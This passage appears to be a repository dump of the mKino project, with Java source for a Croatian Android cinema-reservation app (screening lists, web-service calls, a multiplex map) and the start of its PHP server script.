dohvatiProjekcije((int)idOdabranogMultipleksa+1);\t\r\n\t\t \t\t\r\n\t\t \t\tDate sadasnjiDatum = new Date();\r\n\t\t \t\tsadasnjiDatum = Rezervacija.dodajDan(sadasnjiDatum,(int)odabirDatuma.getSelectedItemPosition());\r\n\t\t \t\tSimpleDateFormat formatDatuma2 = new SimpleDateFormat(\"yyyy-MM-dd\");\r\n\t\t \t\t//učitavamo datume u listview\r\n\t\t \t\tucitajProjekcijeUListView(formatDatuma2.format(sadasnjiDatum));\r\n\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t@Override\r\n\t\t\t\tpublic void onNothingSelected(AdapterView<?> arg0) {}\r\n\t\t\t});\r\n\t\t \r\n\t\t// postavljamo listener na ListView s projekcijama\r\n\t\tpopisProjekcija.setOnItemClickListener(new OnItemClickListener() {\r\n\t\t\t@Override\r\n\t\t\tpublic void onItemClick(AdapterView<?> arg0, View kliknutaProjekcija, int pozicijaKliknuteProjekcije, long idKli) {\r\n\t\t\t\tTextView tv = (TextView) kliknutaProjekcija.findViewById(R.id.id_projekcije_u_bazi);\r\n\t\t\t\tint idProjekcijeUBazi = Integer.parseInt(tv.getText().toString());\r\n\t\t\t\t\r\n\t\t\t\t//prilikom kilika otvaraju se detalji o projekciji\r\n\t\t\t\tIntent i = new Intent(ProjekcijeActivity.this, DetaljiProjekcijeActivity.class);\r\n\t\t\t\ti.putExtra(\"idProjekcijeUBazi\", idProjekcijeUBazi);\r\n\t\t\t\tstartActivity(i);\r\n\t\t\t}\r\n\t\t});\r\n\t\t\r\n\t\t// dohvaćamo filmove i pohranjujemo ih u ListView \"popisFilmova\". Tu se automatski prikazuju na zaslon\r\n\t\tprojekcije = dohvatiProjekcije(odabraniMultipleks);\r\n\t\tSimpleDateFormat formatDatuma2 = new SimpleDateFormat(\"yyyy-MM-dd\");\r\n\t\tucitajProjekcijeUListView(formatDatuma2.format(sadasnjiDatum));\r\n\t\r\n\t}\r\n\t\t\r\n\t\r\n\t/**Postavlja spinner za izbor multipleksa na vrijednost trenutnog multipleksa u bazi.\r\n\t * Ukoliko on ne postoji ondje, odabire se prvi multipleks (indeks 0) koji je Zagreb\r\n\t */\r\n\tprivate int dohvatiOdabraniMultipleks() {\r\n\t\tfinal int ZAGREB = 1;\r\n\t\tint odabraniMultipleks = 1;//oma.dohvatiOdabraniMultipleks();\r\n\t\t\r\n\t\tif (odabraniMultipleks >= 1)\r\n\t\t\treturn odabraniMultipleks;\r\n\t\telse\r\n\t\t\treturn ZAGREB;\r\n\t}\r\n\t\r\n\t/**Dohvaća projekcije.\r\n\t * \r\n\t * Ova metoda pokreće dohvaćanje projekcije na dva načina. Prvo se dohvaćaju iz baze indeksi svih projekcija.\r\n\t * Potom se oblikuju u JSON i šalje se zahtjev web servisu. Servis vraća samo one projekcije \r\n\t * kojih nema u lokalnoj bazi, kao i one koje treba ukloniti iz lokalne baze.\r\n\t * Nakon toga se projekcije prikazuju na zaslon.\r\n\t * Ovaj princip je odabran kako bi se korisnicima uštedio podatkovni promet, odnosno,\r\n\t * kako se ne bi uvijek dohvaćali svi filmovi sa servisa\r\n\t * \r\n\t * @param id multipleksa\r\n\t * @return ažurirane projekcije\r\n\t */\r\n\tprivate List<ProjekcijaInfo> dohvatiProjekcije(int multipleks)\r\n\t{\t\r\n\t\tJsonProjekcije jf = new JsonProjekcije();\r\n\t\t\r\n\t\tList<ProjekcijaInfo> pinf = jf.dohvatiProjekcije(this, multipleks);\t\t\r\n\t\treturn pinf;\r\n\t}\r\n\r\n\r\n\t/** Dohvaća projekcije i učitava ih u ListView.\r\n\t * @params datum projekcija\r\n\t */\r\n\tprivate void ucitajProjekcijeUListView(String datum)\r\n\t{\r\n\t\tList<ProjekcijaInfo> danasnjeProjekcije = filtrirajProjekcijeZaDatum(datum);\r\n\t\tArrayAdapter<ProjekcijaInfo> adapter = new StavkaProjekcije(this, R.layout.stavka_projekcije, danasnjeProjekcije);\r\n\t\tListView lv = (ListView) findViewById(R.id.rezervacije_popis_projekcija);\r\n\t\tlv.setAdapter(adapter);\r\n\t}\r\n\t\r\n\t\r\n\t/**Filtiranje projekcija za odabrani datum.\r\n\t * Iz popisa svih projekcija filtrira samo današnje projekcije.\r\n\t * S ovim sprječavamo nova dohvaćanja projekcija kada se promijeni datum prikazivanja projekcija\r\n\t * @param odabrani datum\r\n\t * @return lista današnjih projekcija\r\n\t */\r\n\tprivate List<ProjekcijaInfo> filtrirajProjekcijeZaDatum(String datum) {\r\n\t\tList<ProjekcijaInfo> danasnjeProjekcije = new ArrayList<ProjekcijaInfo>();\r\n\t\t\r\n\t\t//prolazimo kroz sve projekcije i provjeravamo dan, mjesec i godinu početka\r\n\t\tfor(ProjekcijaInfo projekcija : projekcije)\r\n\t\t{\r\n\t\t\tif (datum.equals(projekcija.getVrijemePocetka().substring(0, 10)))\r\n\t\t\t{\r\n\t\t\t\tdanasnjeProjekcije.add(projekcija);\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\treturn danasnjeProjekcije;\r\n\t}\r\n\t/**\r\n\t * Metoda koja vraća dan u tjednu.\r\n\t * @param datum\r\n\t * @return string dan u tjednu\r\n\t */\r\n\t public String vratiDanUTjednu(Date datum)\r\n\t { \r\n\t\t String danOriginal;\r\n\t\t SimpleDateFormat formatDana = new SimpleDateFormat(\"E\");\r\n\r\n\t\t //dohvaćame dane u tjednu iz resursa\r\n\t\t String[] daniUTjednu = getResources().getStringArray(R.array.dani_u_tjednu);\r\n\t\t \r\n\t\t danOriginal = formatDana.format(datum);\r\n\t\t \r\n\t\t if(danOriginal.compareTo(\"Mon\") == 0 ) return daniUTjednu[0];\r\n\t\t else if(danOriginal.compareTo(\"Tue\") == 0 ) return daniUTjednu[1];\r\n\t\t else if(danOriginal.compareTo(\"Wed\") == 0 ) return daniUTjednu[2];\r\n\t\t else if(danOriginal.compareTo(\"Thu\") == 0 ) return daniUTjednu[3];\r\n\t\t else if(danOriginal.compareTo(\"Fri\") == 0 ) return daniUTjednu[4];\r\n\t\t else if(danOriginal.compareTo(\"Sat\") == 0 ) return daniUTjednu[5];\r\n\t\t else if(danOriginal.compareTo(\"Sun\") == 0 ) return daniUTjednu[6];\r\n\t\t else return danOriginal.toString();\r\n\t\t\r\n\t }\r\n}\r\n"},{"alpha_fraction":0.8300395011901855,"alphanum_fraction":0.8300395011901855,"avg_line_length":49.599998474121094,"blob_id":"9a90d3235ec82a2266b05825d08118ae9667c15a","content_id":"183d9b598de4f159fa53ba4b22f6a8ee743a5cc9","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":258,"license_type":"no_license","max_line_length":114,"num_lines":5,"path":"/README.md","repo_name":"dsitum/mKino","src_encoding":"UTF-8","text":"#Klijentska strana\nMapa client-side predstavlja mobilnu aplikaciju koja će se izvršavati na Android uređaju (klijentu)\n\n#Serverska strana\nMapa server-side predstavlja skup PHP skripti, bazu podataka i ostale materijale, koji će se izrvšavati na serveru\n"},{"alpha_fraction":0.72089684009552,"alphanum_fraction":0.7221524715423584,"avg_line_length":30.9881649017334,"blob_id":"3b3712789a7028a72122227d15d1b1ac1a212e92","content_id":"a53b6de6a4782b1a38bc99441569e32c159e7cbf","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Java","length_bytes":5595,"license_type":"no_license","max_line_length":219,"num_lines":169,"path":"/client-side/src/hr/air/mkino/server/JsonProjekcije.java","repo_name":"dsitum/mKino","src_encoding":"WINDOWS-1250","text":"package hr.air.mkino.server;\r\n\r\nimport hr.air.mkino.baza.FilmoviAdapter;\r\n\r\nimport hr.air.mkino.baza.ProjekcijeAdapter;\r\nimport hr.air.mkino.tipovi.FilmInfo;\r\nimport hr.air.mkino.tipovi.ProjekcijaInfo;\r\n\r\nimport java.io.IOException;\r\nimport java.io.UnsupportedEncodingException;\r\nimport java.util.ArrayList;\r\n\r\nimport java.util.List;\r\nimport java.util.concurrent.ExecutionException;\r\n\r\nimport org.apache.http.NameValuePair;\r\nimport org.apache.http.client.ClientProtocolException;\r\nimport org.apache.http.client.HttpClient;\r\nimport org.apache.http.client.ResponseHandler;\r\nimport org.apache.http.client.entity.UrlEncodedFormEntity;\r\nimport org.apache.http.client.methods.HttpPost;\r\nimport org.apache.http.impl.client.BasicResponseHandler;\r\nimport org.apache.http.impl.client.DefaultHttpClient;\r\nimport org.apache.http.message.BasicNameValuePair;\r\nimport org.json.JSONArray;\r\nimport org.json.JSONException;\r\nimport org.json.JSONObject;\r\n\r\nimport android.content.Context;\r\nimport android.os.AsyncTask;\r\n\r\n/**\r\n * Klasa koja služi z aasinkrono dohvaćanje projekcija sa web servisa.\r\n * @author bstivic\r\n *\r\n */\r\npublic class JsonProjekcije extends AsyncTask <String, Void, String> {\r\n\r\nProjekcijeAdapter bazaProjekcija;\r\n\t\r\n\t/**\r\n\t * Dohvaća projekcije sa web servisa. To ne uključuje one projekcije koji se već nalaze u lokalnoj bazi\r\n\t * @return projekcije u Jsonformatu\r\n\t */\r\n\tpublic List<ProjekcijaInfo> dohvatiProjekcije(Context c, int multipleks)\r\n\t{\r\n\t\t// najprije dohvaćamo id-eve projekcija iz lokalne baze podataka, kako bi znali koje projekcije ne trebamo dohvaćati sa webservisa\r\n\t\tbazaProjekcija = new ProjekcijeAdapter(c);\r\n\t\tList<Integer> idProjekcija = bazaProjekcija.dohvatiIdProjekcija();\r\n\t\t\r\n\t\t// pretvaramo listu s id-evima projekcija u JSON string \r\n\t\tStringBuilder sb = new StringBuilder();\r\n\t\tsb.append(\"[\");\r\n\t\tfor(int i=0; i<idProjekcija.size(); i++)\r\n\t\t{\r\n\t\t\tsb.append(\"{\\\"idProjekcije\\\":\\\"\" + idProjekcija.get(i) + \"\\\"}\");\r\n\t\t\t// ako se ne radi o posljednjem elementu, dodat ćemo zarez\r\n\t\t\tif (i != idProjekcija.size() - 1)\r\n\t\t\t{\r\n\t\t\t\tsb.append(\",\");\r\n\t\t\t}\r\n\t\t}\r\n\t\tsb.append(\"]\");\r\n\t\t// finalni JSON string koji ćemo slati web servisu putem HTTP-POST metode\r\n\t\tString jsonString = sb.toString();\r\n\t\t\r\n\t\tString mult = Integer.toString(multipleks);\r\n\t\tthis.execute(jsonString,mult);\r\n\t\tString jsonRezultat = \"\";\r\n\t\ttry {\r\n\t\t\tjsonRezultat = this.get();\r\n\t\t} catch (InterruptedException e) {\r\n\t\t\te.printStackTrace();\r\n\t\t} catch (ExecutionException e) {\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n\r\n\r\n\t\t\tList<ProjekcijaInfo> projekcije = parsirajJson(jsonRezultat, c, multipleks);\r\n\t\t\treturn projekcije;\r\n\t\t\r\n\t}\r\n\t\r\n\t/**\r\n\t * Parsira JSON string dohvaćen s web servisa \r\n\t * @param jsonRezultat\r\n\t * @return projekcije\r\n\t */\r\n\tprivate List<ProjekcijaInfo> parsirajJson(String jsonRezultat, Context c, int multipleksOdabrani) {\r\n\t\tList<ProjekcijaInfo> projekcije\t= new ArrayList<ProjekcijaInfo>();\r\n\t\tFilmoviAdapter filmAd = new FilmoviAdapter(c);\r\n\t\tint film;\r\n\t\tint dvorana;\r\n\t\tString vrijemePocetka;\r\n\t\tfloat cijena;\t\t\r\n\t\tint multipleks;\t\r\n\t\tint idProjekcije;\r\n\t\t\r\n\t\ttry {\r\n\t\t\tJSONArray projekcijeJson = new JSONArray(jsonRezultat);\r\n\t\t\tint n = projekcijeJson.length();\r\n\t\t\tfor(int i=0; i<n; i++)\r\n\t\t\t{\r\n\t\t\t\tJSONObject projekcijaJson = projekcijeJson.getJSONObject(i);\r\n\t\t\t\tfilm = projekcijaJson.getInt(\"film\");\r\n\t\t\t\tdvorana = projekcijaJson.getInt(\"brojDvorane\");\r\n\t\t\t\tvrijemePocetka = projekcijaJson.getString(\"vrijemePocetka\");\r\n\t\t\t\tcijena = (float)projekcijaJson.getDouble(\"cijena\");\r\n\t\t\t\tidProjekcije = projekcijaJson.getInt(\"idProjekcije\");\r\n\t\t\t\tmultipleks = projekcijaJson.getInt(\"multipleks\");\r\n\t\t\t\tFilmInfo filmInf = filmAd.dohvatiDetaljeFilma(film);\t\r\n\r\n\t\t\t\tProjekcijaInfo projekcija = new ProjekcijaInfo(idProjekcije, dvorana, filmInf,vrijemePocetka, multipleks, cijena); \t\r\n\t\t\t\t\r\n\t\t\t\tprojekcije.add(projekcija);\r\n\t\t\t}\r\n\t\t}\r\n\t\tcatch (JSONException e) {\r\n\t\t\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n\r\n\t\t\r\n\t bazaProjekcija.azurirajBazuProjekcija(projekcije);\r\n\r\n\t\t// nakon ažuriranja baze, dohvaćamo ponovno sve filmove iz baze\r\n\t\tprojekcije = bazaProjekcija.dohvatiProjekcije(multipleksOdabrani, c);\r\n\t\t\r\n\t\treturn projekcije;\r\n\t}\r\n\t\r\n\t// pomoćna metoda koja u pozadini obrađuje http zahtjev (dohvaćanje podataka)\r\n\t@Override\r\n\tprotected String doInBackground(String... parametri) {\r\n\t\tString jsonString = parametri[0];\r\n\t\tString multipleks = parametri[1];\r\n\t\r\n\t\tHttpClient httpKlijent = new DefaultHttpClient();\r\n\t\t// HTTP-POST metodom ćemo poslati JSON string. U tom JSON stringu se nalaze indeksi svih projekcija koji se nalaze u lokalnoj bazi. Web servis će vratiti sve one projekcije čiji se indeksi ne nalaze u tom JSON stringu\r\n\t\tHttpPost httpPost = new HttpPost(\"http://mkinoairprojekt.me.pn/skripte/index.php?tip=projekcijeMultipleks&multipleks=\"+multipleks);\r\n\t\t\r\n\t\t// dodajemo JSON string u \"httpPost\" objekt\r\n\t\ttry {\r\n\t\t\tList<NameValuePair> podaci = new ArrayList<NameValuePair>();\r\n\t\t\tpodaci.add(new BasicNameValuePair(\"bezOvihProjekcija\", jsonString));\r\n\t\t\thttpPost.setEntity(new UrlEncodedFormEntity(podaci));\r\n\t\t} catch (UnsupportedEncodingException e1) {\r\n\t\t\te1.printStackTrace();\r\n\t\t}\r\n\r\n\t\tString jsonRezultat = \"\";\r\n\t\tResponseHandler<String> handler = new BasicResponseHandler();\r\n\t\t\r\n\t\t// ono što dohvatimo u jsonRezultat će biti odgovor servera (web servisa)\r\n\t\ttry {\r\n\t\t\tjsonRezultat = httpKlijent.execute(httpPost, handler);\r\n\t\t}\r\n\t\tcatch(ClientProtocolException e){\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n\t\tcatch(IOException e){\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n\t\t\r\n\t\thttpKlijent.getConnectionManager().shutdown();\r\n\t\treturn jsonRezultat;\r\n\t}\r\n\r\n}\r\n"},{"alpha_fraction":0.7113272547721863,"alphanum_fraction":0.7138374447822571,"avg_line_length":26.45535659790039,"blob_id":"359f10c83ef0183b231600f111cf3df6ac248b7a","content_id":"70240173da1b06e9dd19336ee9199fe2438c5911","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Java","length_bytes":3190,"license_type":"no_license","max_line_length":114,"num_lines":112,"path":"/client-side/src/hr/air/mkino/server/JsonObrisiRegistraciju.java","repo_name":"dsitum/mKino","src_encoding":"WINDOWS-1250","text":"package hr.air.mkino.server;\r\n\r\nimport java.io.IOException;\r\nimport java.util.ArrayList;\r\nimport java.util.List;\r\nimport java.util.concurrent.ExecutionException;\r\n\r\nimport org.apache.http.NameValuePair;\r\nimport org.apache.http.client.ClientProtocolException;\r\nimport org.apache.http.client.HttpClient;\r\nimport org.apache.http.client.ResponseHandler;\r\nimport org.apache.http.client.entity.UrlEncodedFormEntity;\r\nimport org.apache.http.client.methods.HttpPost;\r\nimport org.apache.http.impl.client.BasicResponseHandler;\r\nimport org.apache.http.impl.client.DefaultHttpClient;\r\nimport org.apache.http.message.BasicNameValuePair;\r\nimport org.json.JSONArray;\r\nimport org.json.JSONException;\r\nimport org.json.JSONObject;\r\n\r\n\r\nimport android.content.Context;\r\nimport android.os.AsyncTask;\r\n/**\r\n * Klasa koja služi za brisanje rezervacije na udaljenoj bazi podataka.\r\n * @author bstivic\r\n *\r\n */\r\npublic class JsonObrisiRegistraciju extends AsyncTask<String, Void, String> {\r\n\t\r\n\t/**\r\n\t * Metoda koja služi za brisanje rezervacije.\r\n\t * komunicira sa web servisom\r\n\t * @param korisnickoIme\r\n\t * @param idProjekcije\r\n\t * @param context\r\n\t * @return uspjesnost 0-uspjesno, - neuspjesno\r\n\t */\r\n\tpublic int dohvati(String korisnickoIme, String idProjekcije, Context c)\r\n\t{\t\t\t\t\t\r\n\t\tthis.execute(korisnickoIme, idProjekcije);\r\n\t\tString jsonRezultat = \"\";\r\n\t\ttry {\r\n\t\t\tjsonRezultat = this.get();\r\n\t\t} catch (InterruptedException e) {\r\n\t\t\t\r\n\t\t\te.printStackTrace();\r\n\t\t} catch (ExecutionException e) {\r\n\t\t\t\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n\t\t\r\n\t\treturn parsirajJson(jsonRezultat);\t\t\t\r\n\t}\r\n\r\n/**\r\n * Metoda koja parsira rezultat web servisa.\r\n * @param jsonRezultat\r\n * @return 0 uspjesno, <0 neuspjesno\r\n */\r\n\tprivate int parsirajJson(String jsonRezultat) {\t\t\r\n\t\tint povratnaInformacijaId = 7;\r\n\t\t\r\n\t\ttry {\r\n\t\t\tJSONArray rezultati = new JSONArray(jsonRezultat);\r\n\t\t\tint n = rezultati.length();\r\n\t\t\t\r\n\t\t\t\tfor(int i=0; i<n; i++)\r\n\t\t\t\t{\r\n\t\t\t\tJSONObject rezultat = rezultati.getJSONObject(i);\t\t\t\t\r\n\t\t\t\tpovratnaInformacijaId = rezultat.getInt(\"povratnaInformacijaId\");\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\r\n\t\tcatch (JSONException e) {\r\n\t\t\te.printStackTrace();\r\n\t\t\treturn -7;\r\n\t\t}\r\n\t\t\r\n\t\treturn povratnaInformacijaId;\r\n\t}\r\n\t\r\n\t/**\r\n\t * Metoda koja služi za asinkronu komunikaciju sa web servisom.\r\n\t */\r\n\tprotected String doInBackground(String... podaciPrijava) {\r\n\t\tHttpClient httpKlijent = new DefaultHttpClient();\r\n\t \r\n\t\tHttpPost httpPostZahtjev = new HttpPost(\"http://mkinoairprojekt.me.pn/skripte/index.php?tip=obrisirezervaciju\");\r\n\t\tString jsonResult = \"\";\r\n\t\tResponseHandler<String> handler = new BasicResponseHandler();\t\t\t\r\n\t\tList<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>();\r\n\t\tnameValuePairs.add(new BasicNameValuePair(\"korisnickoime\", podaciPrijava[0]));\r\n\t\tnameValuePairs.add(new BasicNameValuePair(\"projekcija\", podaciPrijava[1]));\r\n\r\n\t\ttry {\r\n\t\t\t httpPostZahtjev.setEntity(new UrlEncodedFormEntity(nameValuePairs));\r\n\t\t\t jsonResult = httpKlijent.execute(httpPostZahtjev, handler);\r\n\t\t}\r\n\t\tcatch(ClientProtocolException e){\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n\t\tcatch(IOException e){\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n\t\t\r\n\t\thttpKlijent.getConnectionManager().shutdown();\r\n\t\treturn jsonResult;\r\n\t}\r\n\r\n\r\n}\r\n"},{"alpha_fraction":0.7414926290512085,"alphanum_fraction":0.7454359531402588,"avg_line_length":34.036842346191406,"blob_id":"0bb34997366c29875ff5e8b2a614f383ad8ac950","content_id":"e2bce0726a600387f9e09973304285bc11d108e9","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Java","length_bytes":6875,"license_type":"no_license","max_line_length":173,"num_lines":190,"path":"/client-side/src/hr/air/mkino/MojaMapaActivity.java","repo_name":"dsitum/mKino","src_encoding":"WINDOWS-1250","text":"package hr.air.mkino;\r\n\r\nimport java.util.List;\r\n\r\nimport com.google.android.gms.maps.CameraUpdate;\r\nimport com.google.android.gms.maps.CameraUpdateFactory;\r\nimport com.google.android.gms.maps.GoogleMap;\r\nimport com.google.android.gms.maps.SupportMapFragment;\r\nimport com.google.android.gms.maps.model.BitmapDescriptorFactory;\r\nimport com.google.android.gms.maps.model.CameraPosition;\r\nimport com.google.android.gms.maps.model.LatLng;\r\nimport com.google.android.gms.maps.model.MarkerOptions;\r\n\r\nimport hr.air.mkino.R;\r\nimport hr.air.mkino.baza.MultipleksAdapter;\r\nimport hr.air.mkino.baza.OdabraniMultipleksAdapter;\r\nimport hr.air.mkino.lokacija.PratiteljLokacije;\r\nimport hr.air.mkino.server.JsonMultipleksi;\r\nimport hr.air.mkino.tipovi.MultipleksInfo;\r\nimport android.os.Bundle;\r\nimport android.support.v4.app.FragmentActivity;\r\nimport android.view.Menu;\r\nimport android.view.MenuItem;\r\nimport android.view.View;\r\nimport android.widget.AdapterView;\r\nimport android.widget.AdapterView.OnItemSelectedListener;\r\nimport android.widget.Spinner;\r\n\r\n/**\r\n * Ova klasa služi za prikaz multipleksa i odabir istog. \r\n * Odabrani multipleks će se pohraniti u lokalnoj bazi i biti će korišten svaki puta kada to bude bilo potrebno u aplikaciji\r\n * @author domagoj\r\n */\r\npublic class MojaMapaActivity extends FragmentActivity {\r\n\tprivate GoogleMap mapa;\r\n\tprivate Spinner spinner;\r\n\tprivate List<MultipleksInfo> multipleksi;\r\n\tprivate OdabraniMultipleksAdapter odabraniMultipleks;\r\n\t\r\n\t@Override\r\n\tprotected void onCreate(Bundle savedInstanceState) {\r\n\t\tsuper.onCreate(savedInstanceState);\r\n\t\tsetContentView(R.layout.activity_moja_mapa);\r\n\t\tsetTitle(\"Prikaz multipleksa\");\r\n\t\t\r\n\t\tmapa = ((SupportMapFragment) getSupportFragmentManager().findFragmentById(R.id.map_fragment)).getMap();\r\n\t\tspinner = (Spinner) findViewById(R.id.odabir_multipleksa);\r\n\t\tmultipleksi = dohvatiMultiplekse();\r\n\t\t\r\n\t\todabraniMultipleks = new OdabraniMultipleksAdapter(this);\r\n\t\t// postavljamo spinner na vrijednost iz baze podataka\r\n\t\tpostaviSpinner(odabraniMultipleks);\r\n\t\t\r\n\t\t// omogućujemo da se svaka promjena spinnera prikaže na karti i također odmah prikazujemo multiplekse na karti\r\n\t\tspinner.setOnItemSelectedListener(new OnItemSelectedListener() {\r\n\t\t\t@Override\r\n\t\t\tpublic void onItemSelected(AdapterView<?> arg0, View arg1, int arg2, long idOdabranogMultipleksa) {\r\n\t\t\t\tprikaziMultipleksaNaKarti(multipleksi);\r\n\t\t\t\t\r\n\t\t\t\t// pohranjujemo vrijednost spinnera u bazu podataka\r\n\t\t\t\todabraniMultipleks.pohraniOdabraniMultipleks((int)idOdabranogMultipleksa);\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t@Override\r\n\t\t\tpublic void onNothingSelected(AdapterView<?> arg0) {}\r\n\t\t});\r\n\t\t\r\n\t\t\r\n\t}\r\n\r\n\t@Override\r\n\tpublic boolean onCreateOptionsMenu(Menu menu) {\r\n\t\t// Inflate the menu; this adds items to the action bar if it is present.\r\n\t\tgetMenuInflater().inflate(R.menu.moja_mapa_activity, menu);\r\n\t\treturn true;\r\n\t}\r\n\t@Override\r\n\tpublic boolean onOptionsItemSelected(MenuItem item) {\r\n\t\tswitch (item.getItemId()) {\r\n\t\tcase R.id.geolokacija:\r\n\t\t\t\t// brišemo postojeći multipleks iz baze i postavljamo novi (koji će biti dobiven geolokacijom)\r\n\t\t\t\todabraniMultipleks.obrisiMultiplekseIzBaze();\r\n\t\t\t\tpostaviSpinner(odabraniMultipleks);\r\n\t\t\tbreak;\r\n\t\tdefault:\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\treturn super.onOptionsItemSelected(item);\r\n\t}\r\n\t\r\n\t/**\r\n\t * Dohvaća multiplekse. \r\n\t * Ukoliko postoje u lokalnoj bazi, dohvaća ih iz nje, a ukoliko ne, dohvaća ih sa servisa. To je učinjeno u svrhu štednje podatkovnog prometa\r\n\t * @return lista s dohvaćenim multipleksima\r\n\t */\r\n\tprivate List<MultipleksInfo> dohvatiMultiplekse() {\r\n\t\tMultipleksAdapter multipleksAdapter = new MultipleksAdapter(this);\r\n\t\tList<MultipleksInfo> multipleksi = multipleksAdapter.dohvatiMultiplekse();\r\n\t\t\r\n\t\tif (multipleksi.size() == 0)\r\n\t\t{\r\n\t\t\tJsonMultipleksi jsonMultipleksi = new JsonMultipleksi();\r\n\t\t\tmultipleksi = jsonMultipleksi.dohvatiMultiplekse();\r\n\t\t\t\r\n\t\t\t// unos dohvaćenih multipleksa u lokalnu bazu\r\n\t\t\tfor (MultipleksInfo multipleks : multipleksi)\r\n\t\t\t{\r\n\t\t\t\tmultipleksAdapter.unosMultipleksa(multipleks);\r\n\t\t\t}\r\n\t\t} \r\n\t\t\r\n\t\treturn multipleksi;\r\n\t}\r\n\t\r\n\t/**\r\n\t * Prikazuje multiplekse na karti (prije toga čisti kartu od svih postavljenih multipleksa)\r\n\t * @param multipleksi\r\n\t */\r\n\tprivate void prikaziMultipleksaNaKarti(List<MultipleksInfo> multipleksi) {\r\n\t\tlong idMultipleksaSpinner = spinner.getSelectedItemId();\r\n\t\t\r\n\t\tmapa.clear();\r\n\t\tfor (MultipleksInfo multipleks : multipleksi)\r\n\t\t{\r\n\t\t\tMarkerOptions marker = new MarkerOptions();\r\n\t\t\tmarker.title(multipleks.getNaziv());\r\n\t\t\tmarker.position(new LatLng(multipleks.getZemljopisnaSirina(), multipleks.getZemljopisnaDuzina()));\r\n\t\t\t\r\n\t\t\tif (multipleks.getIdMultipleksa() == idMultipleksaSpinner + 1)\r\n\t\t\t{\r\n\t\t\t\tmarker.icon(BitmapDescriptorFactory.fromResource(R.drawable.kino_selektirano));\r\n\t\t\t\t\r\n\t\t\t\tfloat lat = multipleks.getZemljopisnaSirina();\r\n\t\t\t\tfloat lng = multipleks.getZemljopisnaDuzina();\r\n\t\t\t\tCameraPosition cp = new CameraPosition(new LatLng(lat, lng), 6, 0, 0);\r\n\t\t\t\tCameraUpdate cu = CameraUpdateFactory.newCameraPosition(cp);\r\n\t\t\t\tmapa.animateCamera(cu);\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\tmarker.icon(BitmapDescriptorFactory.fromResource(R.drawable.kino));\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tmapa.addMarker(marker);\r\n\t\t}\r\n\t}\r\n\t\r\n\t/**\r\n\t * Postavlja početnu vrijednost na spinner za odabir lokacije. Ukoliko taj podatak ne postoji u bazi, postavljamo spinner na index 0 (grad Zagreb)\r\n\t * @param odabraniMultipleks koji će biti postavljen na spinner\r\n\t */\r\n\tprivate void postaviSpinner(OdabraniMultipleksAdapter odabraniMultipleks) {\r\n\t\tint trenutnaVrijednost = odabraniMultipleks.dohvatiOdabraniMultipleks();\r\n\t\t\r\n\t\tif (trenutnaVrijednost == -1)\r\n\t\t\tspinner.setSelection(indeksNajblizegMultipleksa());\r\n\t\telse\r\n\t\t\tspinner.setSelection(trenutnaVrijednost);\r\n\t}\r\n\r\n\t/**\r\n\t * Ova metoda vraća indeks najbližeg multipleksa kako bi se on mogao koristiti u spinner-u. Pod pojmom \"najbliži\" se misli prostorno najbliži od trenutne lokacije korisnika\r\n\t * @return indeks najbližeg multipleksa\r\n\t */\r\n\tprivate int indeksNajblizegMultipleksa() {\r\n\t\tPratiteljLokacije pratitelj = new PratiteljLokacije(this);\r\n\t\t\r\n\t\tif (pratitelj.lokacijaDostupna())\r\n\t\t{\r\n\t\t\tint indeksNajblizegMultipleksa = 0;\r\n\t\t\tfloat udaljenostDoNajblizegMultipleksa = 999999999; // za početnu udaljenost stavimo neki jako veliki broj (jer se traži najmanja udaljenost)\r\n\t\t\t\r\n\t\t\tfor (MultipleksInfo multipleks : multipleksi)\r\n\t\t\t{\r\n\t\t\t\tfloat tmpUdaljenost = pratitelj.udaljenostDo(multipleks.getZemljopisnaDuzina(), multipleks.getZemljopisnaSirina());\r\n\t\t\t\tif (tmpUdaljenost < udaljenostDoNajblizegMultipleksa)\r\n\t\t\t\t{\r\n\t\t\t\t\tudaljenostDoNajblizegMultipleksa = tmpUdaljenost;\r\n\t\t\t\t\tindeksNajblizegMultipleksa = multipleks.getIdMultipleksa();\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\treturn indeksNajblizegMultipleksa - 1; // oduzimamo 1 jer u bazi podaci počinju od 1, a nama za spinner trebaju podaci od 0\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\treturn 0;\r\n\t\t}\r\n\t}\r\n}\r\n"},{"alpha_fraction":0.5790421962738037,"alphanum_fraction":0.603501558303833,"avg_line_length":44.42629623413086,"blob_id":"ab59516d14d09b543d7e51d5935a11f6a01de672","content_id":"28cc7af3ae32cd67fa936596163697445ff73d98","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"PHP","length_bytes":11659,"license_type":"no_license","max_line_length":96,"num_lines":251,"path":"/server-side/Datoteke/skripte/index.php","repo_name":"dsitum/mKino","src_encoding":"UTF-8","text":"<?php\r\n // filmovi\r\n if ($_GET['tip'] == 'filmovi')\r\n {\r\n require_once 'filmovi.php';\r\n $filmovi = Filmovi::DohvatiFilmove($_GET['aktualno']);\r\n echo json_encode($filmovi);\r\n } \r\n else if($_GET['tip'] == 'mr')\r\n {\r\n \r\n require_once 'filmovi.php'; \r\n $korisnik = $_GET['korisnik'];\r\n $uspjesno = Filmovi::DohvatiRezervacije($korisnik);\r\n echo json_encode($uspjesno);\r\n }\r\n else if ($_GET['tip'] == 'nekifilmovi')\r\n {\r\n require_once 'filmovi.php';\r\n $bezOvihFilmova = $_POST['bezOvihFilmova'];\r\n $filmovi = 